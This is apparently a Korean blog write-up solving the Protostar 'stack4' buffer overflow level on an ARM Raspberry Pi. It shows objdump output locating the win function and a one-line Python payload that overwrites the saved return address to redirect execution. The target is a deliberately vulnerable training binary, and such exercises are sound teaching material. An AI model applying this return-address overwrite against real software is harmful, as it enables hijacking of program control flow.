About
Stack4 takes a look at overwriting saved EIP and standard buffer overflows.
This level is at /opt/protostar/bin/stack4
Hints
A variety of introductory papers into buffer overflows may help.
gdb lets you do “run < input”
EIP is not directly after the end of buffer, compiler padding can also increase the size.
원래 x86에서의 바이너리 코드 실습 내용이지만..
나는 arm에서 컴파일하고 문제를 풀고 있으므로 EIP가 아닌 PC를 보면 된다.
패턴 값을 입력하고 다음에 실행될 명령어인 pc부분만 win 함수 주소로 변경하면 된다.
pi@raspberrypi:~/ARM-challenges $ objdump -t stack4
0001044c g F .text 00000018 win
>echo `python -c "print 'A'*68+'\x4c\x04\x01\x00'"` | ./stack4
code flow successfully changed
'리버싱CTF > Protostar' 카테고리의 다른 글
Stack5 (Success) (0) | 2020.01.01 |
---|---|
Stack5(Fail) (0) | 2020.01.01 |
Stack3 (0) | 2020.01.01 |
Stack2 (0) | 2020.01.01 |
Stack1 (0) | 2019.12.29 |